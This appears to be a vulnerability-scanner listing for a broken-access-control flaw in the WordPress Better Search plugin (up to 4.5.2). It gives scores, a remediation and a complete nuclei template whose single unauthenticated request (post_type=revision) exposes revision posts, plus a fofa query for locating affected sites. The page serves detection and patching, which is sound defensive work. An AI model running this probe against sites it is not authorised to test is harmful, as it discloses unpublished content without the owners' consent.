WordPress Better Search < 4.5.3 - Unauthenticated Arbitrary Post Type Content Disclosure

mediumseverity

5.3CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

WebberZone Better Search <= 4.5.2 contains a broken access control caused by incorrectly configured access control security levels, letting attackers exploit unauthorized access, exploit requires no special privileges.

Impact

Attackers can bypass access controls to access or modify unauthorized data, potentially compromising system integrity.

Fix

Update to the latest version beyond 4.5.2.

How to confirm it

Send: GET /?s=a&post_type=revision
Positive when: matches /<article[^>]*class="[^"]*post-[0-9]+ revision type-revision status-inherit[^"]*"/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-119495 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-119495

info:
  name: WordPress Better Search < 4.5.3 - Unauthenticated Arbitrary Post Type Content Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    WebberZone Better Search <= 4.5.2 contains a broken access control caused by incorrectly configured access control security levels, letting attackers exploit unauthorized access, exploit requires no special privileges.
  impact: |
    Attackers can bypass access controls to access or modify unauthorized data, potentially compromising system integrity.
  remediation: |
    Update to the latest version beyond 4.5.2.
  reference:
    - https://patchstack.com/database/wordpress/plugin/better-search/vulnerability/wordpress-better-search-plugin-4-5-2-broken-access-control-vulnerability
    - https://wordpress.org/plugins/better-search/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-119495
    epss-score: 0.00598
    epss-percentile: 0.4898
    cwe-id: CWE-862
  metadata:
    max-request: 1
    vendor: webberzone
    product: better-search
    fofa-query: body="/wp-content/plugins/better-search/"
  tags: cve,cve2026,wordpress,wp-plugin,better-search,unauth,broken-access-control

http:
  - raw:
      - |
        GET /?s=a&post_type=revision HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<article[^>]*class="[^"]*post-[0-9]+ revision type-revision status-inherit[^"]*"'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from